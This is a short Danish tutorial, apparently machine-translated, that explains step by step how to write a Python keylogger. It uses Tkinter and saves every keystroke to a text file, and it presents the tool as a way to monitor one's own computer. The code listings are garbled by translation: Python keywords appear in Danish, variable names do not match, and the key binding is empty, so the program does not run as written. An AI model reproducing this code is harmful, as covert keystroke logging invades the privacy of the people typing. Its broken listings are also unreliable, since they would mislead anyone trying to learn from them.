Sådan opretter du en Keylogger ved hjælp af Python

Kvinde ved computeren kigger over skulderen

Indfang tastetryk og gem dem i en fil.

Billedkredit: Jupiterimages/Photos.com/Getty Images

Du kan oprette et keylogger-program ved hjælp af Python til at fange de tastetryk, der indtastes gennem en computers tastatur. Tastanslagene gemmes i en tekstfil, og den registrerer alt input. Du kan bruge en nøglelogger til at overvåge aktiviteten på din computer.

Trin 1

Start IDLE, klik på menuen "Filer", og vælg "Nyt vindue" for at åbne et nyt vindue. Tryk på Ctrl og S for at åbne "Gem som" vinduet. Brug "getKeyLogger" som filnavn og klik på "Gem".

Dagens video

Trin 2

Tilføj følgende kodelinje for at importere "Tkinter"-navneområdet og definere stien til den fil, du vil bruge til at logge:

importer Tkinter som tk myFile = open("C:/temp/keyFile.txt", "w")

Trin 3

Kopiér og indsæt følgende kode for at gemme hvert tastetryk i filen:

def tastetryk (hændelse): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

Trin 4

Tilføj følgende kode for at lade en bruger vide, at han kan begynde at skrive, og at han kan trykke på Esc for at afslutte programmet:

hoved = tk. Tk() print "Tryk på en vilkårlig tast (Escape-tast for at afslutte):" main.bind_all('', tastetryk) main.withdraw() main.mainloop() myFile.close()

Trin 5

Klik på "Windows" startknappen og skriv "cmd" i "søg programmer og filer" boksen. Tryk på Enter for at åbne kommandoprompten. Gå til "C:\Python" og skriv "python getKeyLogger." Tryk på Enter for at køre programmet. Gå til "C:/temp/" og dobbeltklik på "keyFile.txt" for at se tastetrykdata.